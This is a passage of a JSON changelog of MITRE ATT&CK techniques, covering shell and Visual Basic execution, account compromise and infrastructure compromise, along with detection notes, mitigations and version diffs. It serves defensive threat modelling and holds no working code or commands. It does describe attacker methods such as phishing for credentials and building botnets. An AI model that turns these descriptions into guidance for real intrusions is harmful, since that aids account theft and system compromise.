"x_mitre_platforms": [ "Windows" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-05-28 14:56:23.748000+00:00\", \"old_value\": \"2020-06-24 13:51:22.360000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1042: Disable or Remove Feature or Program", "M1045: Code Signing", "M1049: Antivirus/Antimalware" ], "new": [ "M1038: Execution Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-09 14:15:05.330000+00:00", "modified": "2021-07-26 22:34:43.261000+00:00", "name": "Unix Shell", "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/004", "external_id": "T1059.004" }, { "source_name": "DieNet Bash", "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.", "url": "https://linux.die.net/man/1/bash" }, { "source_name": "Apple ZShell", "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.", "url": "https://support.apple.com/HT208050" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation" ], "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "root" ], "x_mitre_platforms": [ "macOS", "Linux" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 22:34:43.261000+00:00\", \"old_value\": \"2020-06-15 16:55:44.483000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-09 14:29:51.508000+00:00", "modified": "2021-08-16 21:03:21.051000+00:00", "name": "Visual Basic", "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/005", "external_id": "T1059.005" }, { "source_name": "VB .NET Mar 2020", "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.", "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/" }, { "source_name": "VB Microsoft", "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/dotnet/visual-basic/" }, { "source_name": "Microsoft VBA", "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/office/vba/api/overview/" }, { "source_name": "Wikipedia VBA", "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.", "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications" }, { "source_name": "Microsoft VBScript", "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.", "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Module: Module Load", "Script: Script Execution" ], "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:03:21.051000+00:00\", \"old_value\": \"2020-08-13 20:09:39.122000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1021: Restrict Web-Based Content", "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program", "M1049: Antivirus/Antimalware" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-09 14:12:31.196000+00:00", "modified": "2021-07-26 17:13:07.345000+00:00", "name": "Windows Command Shell", "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/003", "external_id": "T1059.003" }, { "source_name": "SSH in Windows", "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.", "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation" ], "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_remote_support": true, "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 17:13:07.345000+00:00\", \"old_value\": \"2021-04-14 15:36:02.195000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\\n\\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\\n\\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.\", \"old_value\": \"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \\n\\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\\n\\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \\n+Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\\n \\n Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"SSH in Windows\", \"description\": \"Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.\", \"url\": \"https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse the Windows command shell for executiot1Adversaries may abuse the Windows command shell for executio
>n. The Windows command shell ([cmd](https://attack.mitre.org>n. The Windows command shell ([cmd](https://attack.mitre.org
>/software/S0106)) is the primary command prompt on Windows s>/software/S0106)) is the primary command prompt on Windows s
>ystems. The Windows command prompt can be used to control al>ystems. The Windows command prompt can be used to control al
>most any aspect of a system, with various permission levels >most any aspect of a system, with various permission levels 
>required for different subsets of commands.   Batch files (e>required for different subsets of commands. The command prom
>x: .bat or .cmd) also provide the shell with a list of seque>pt can be invoked remotely via [Remote Services](https://att
>ntial commands to run, as well as normal scripting operation>ack.mitre.org/techniques/T1021) such as [SSH](https://attack
>s such as conditionals and loops. Common uses of batch files>.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) 
> include long or repetitive tasks, or the need to run the sa> Batch files (ex: .bat or .cmd) also provide the shell with 
>me set of commands on multiple systems.  Adversaries may lev>a list of sequential commands to run, as well as normal scri
>erage [cmd](https://attack.mitre.org/software/S0106) to exec>pting operations such as conditionals and loops. Common uses
>ute various commands and payloads. Common uses include [cmd]> of batch files include long or repetitive tasks, or the nee
>(https://attack.mitre.org/software/S0106) to execute a singl>d to run the same set of commands on multiple systems.  Adve
>e command, or abusing [cmd](https://attack.mitre.org/softwar>rsaries may leverage [cmd](https://attack.mitre.org/software
>e/S0106) interactively with input and output forwarded over >/S0106) to execute various commands and payloads. Common use
>a command and control channel.>s include [cmd](https://attack.mitre.org/software/S0106) to 
 >execute a single command, or abusing [cmd](https://attack.mi
 >tre.org/software/S0106) interactively with input and output 
 >forwarded over a command and control channel.
", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:17:15.965000+00:00", "modified": "2021-10-16 17:15:12.428000+00:00", "name": "Compromise Accounts", "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1586", "external_id": "T1586" }, { "source_name": "AnonHBGary", "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Persona: Social Media", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:15:12.428000+00:00\", \"old_value\": \"2021-04-15 02:59:07.046000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0021: Persona (Social Media)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:18:35.535000+00:00", "modified": "2021-10-16 17:15:12.169000+00:00", "name": "Social Media Accounts", "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1586/001", "external_id": "T1586.001" }, { "source_name": "AnonHBGary", "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" }, { "source_name": "NEWSCASTER2014", "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" }, { "source_name": "BlackHatRobinSage", "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Persona: Social Media", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:15:12.169000+00:00\", \"old_value\": \"2021-04-15 02:59:06.872000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0021: Persona (Social Media)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:36:30.759000+00:00", "modified": "2021-10-17 16:01:48.871000+00:00", "name": "Compromise Infrastructure", "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584", "external_id": "T1584" }, { "source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" }, { "source_name": "ICANNDomainNameHijacking", "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", "url": "https://www.icann.org/groups/ssac/documents/sac-007-en" }, { "source_name": "Talos DNSpionage Nov 2018", "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html" }, { "source_name": "FireEye EPS Awakens Part 2", "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" }, { "source_name": "NSA NCSC Turla OilRig", "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" }, { "source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" }, { "source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Metadata", "Internet Scan: Response Content", "Domain Name: Active DNS", "Domain Name: Passive DNS", "Domain Name: Domain Registration" ], "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\", \"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:01:48.871000+00:00\", \"old_value\": \"2021-04-15 03:04:40.423000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \\n\\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\\n+Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \\n+\\n+Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n+\\n+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}, \"root['external_references'][7]\": {\"source_name\": \"Mandiant SCANdalous Jul 2020\", \"description\": \"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.\", \"url\": 